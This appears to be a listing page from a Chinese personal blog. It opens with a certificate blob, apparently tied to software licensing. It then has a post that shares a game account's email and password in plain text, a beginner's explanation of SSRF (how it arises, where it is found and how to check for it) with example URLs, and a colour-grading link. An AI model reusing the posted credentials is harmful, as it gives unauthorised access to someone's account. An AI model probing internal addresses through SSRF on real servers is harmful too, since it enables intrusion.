Vq9jBG1usMSFvMowR25mju2JcPFp1+I4ZI+FqgR8gyG8oiNDyNEoAbsR3lOpI7grUYSvkB/xVy/VoklPCK2h0f0GJxFjnye8NT1PAywoyl7RmiAVRE/EKwIDAQABo4GZMIGWMAkGA1UdEwQCMAAwHQYDVR0OBBYEFGEpG9oZGcfLMGNBkY7SgHiMGgTcMEgGA1UdIwRBMD+AFKOetkhnQhI2Qb1t4Lm0oFKLl/GzoRykGjAYMRYwFAYDVQQDDA1KZXRQcm9maWxlIENBggkA0myxg7KDeeEwEwYDVR0lBAwwCgYIKwYBBQUHAwEwCwYDVR0PBAQDAgWgMA0GCSqGSIb3DQEBCwUAA4ICAQC9WZuYgQedSuOc5TOUSrRigMw4/+wuC5EtZBfvdl4HT/8vzMW/oUlIP4YCvA0XKyBaCJ2iX+ZCDKoPfiYXiaSiH+HxAPV6J79vvouxKrWg2XV6ShFtPLP+0gPdGq3x9R3+kJbmAm8w+FOdlWqAfJrLvpzMGNeDU14YGXiZ9bVzmIQbwrBA+c/F4tlK/DV07dsNExihqFoibnqDiVNTGombaU2dDup2gwKdL81ua8EIcGNExHe82kjF4zwfadHk3bQVvbfdAwxcDy4xBjs3L4raPLU3yenSzr/OEur1+jfOxnQSmEcMXKXgrAQ9U55gwjcOFKrgOxEdek/Sk1VfOjvS+nuM4eyEruFMfaZHzoQiuw4IqgGc45ohFH0UUyjYcuFxxDSU9lMCv8qdHKm+wnPRb0l9l5vXsCBDuhAGYD6ss+Ga+aDY6f/qXZuUCEUOH3QUNbbCUlviSz6+GiRnt1kA9N2Qachl+2yBfaqUqr8h7Z2gsx5LcIf5kYNsqJ0GavXTVyWh7PYiKX4bs354ZQLUwwa/cG++2+wNWP+HtBhVxMRNTdVhSm38AknZlD+PTAsWGu9GyLmhti2EnVwGybSD2Dxmhxk3IPCkhKAK+pl0eWYGZWG3tJ9mZ7SowcXLWDFAk0lRJnKGFMTggrWjV8GYpw5bq23VmIqqDLgkNzuoog== 如有侵权请联系删除
2018年11月17日
1,866 阅读
0 评论
0 点赞
2018-11-17
战地3 正版账号免费分享!
BattleField 3 是ea 2011出的一款游戏, 国内翻译为战地3, 台湾翻译为战地风云3.游戏画质当年最佳, 光影特效非常好, 比肩孤岛危机, 即使画质放到现在也能吊打很多新游戏.后来ea出了个免费领的活动, 我就注册账号免费领了好几个,下面分享个账号, free!!!!!!账号:bf@insmoin.com 密码:Insmoin01 下载origin平台登录即可在列表看到游戏, 正版可联机玩, 直连不用加速器也可以玩下面是游戏的一些截图
2018年11月17日
16,213 阅读
7 评论
21 点赞
2018-09-11
SSRF漏洞
SSRF漏洞是如何产生的?SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)SSRF 形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。比如从指定URL地址获取网页文本内容,加载指定地址的图片,下载等等。可能上面的语言对于一些小白白来说难以理解,下面是一些我的理解:html,php,asp,jsp 具有这些文件后缀的文件通常储存在web服务器(网站服务器)中,而且web服务器都具有独立ip网站访问大致步骤:用户在地址栏输入网址 --》 向目标网站发送请求 --》 目标网站接受请求并在服务器端验证请求是否合法,然后返回用户所需要的页面 --》用户接收页面并在浏览器中显示此处的请求默认为www.xxx.com/a.php?image=(地址)那么产生SSRF漏洞的环节在哪里呢?目标网站接受请求后在服务器端验证请求是否合法产生的原因:服务器端的验证并没有对其请求获取图片的参数(image=)做出严格的过滤以及限制,导致可以从其他服务器的获取一定量的数据例如:www.xxx.com/a.php?image=http://www.abc.com/1.jpg 如果我们将http://www.abc.com/1.jpg换为与该服务器相连的内网服务器地址会产生什么效果呢?如果存在该内网地址就会返回1xx 2xx 之类的状态码,不存在就会其他的状态码终极简析: SSRF漏洞就是通过篡改获取资源的请求发送给服务器,但是服务器并没有发现在这个请求是合法的,然后服务器以他的身份来访问其他服务器的资源。SSRF漏洞的寻找(漏洞常见出没位置):1)分享:通过URL地址分享网页内容2)转码服务3)在线翻译4)图片加载与下载:通过URL地址加载或下载图片5)图片、文章收藏功能6)未公开的api实现以及其他调用URL的功能7)从URL关键字中寻找share wap url link src source target u 3g display sourceURl imageURL domain SSRF漏洞的验证方法:1)因为SSRF漏洞是构造服务器发送请求的安全漏洞,所以我们就可以通过抓包分析发送的请求是否是由服务器的发送的来判断是否存在SSRF漏洞2)在页面源码中查找访问的资源地址 ,如果该资源地址类型为http://www.xxx.com/a.php?image=(地址)的就可能存在SSRF漏洞
2018年09月11日
1,154 阅读
0 评论
0 点赞
2018-08-16
最好的调色教程
<点图片看大图>www.16xx8.com
2018年08月16日
561 阅读
0 评论
0 点赞
1
...
4
5
6
...
12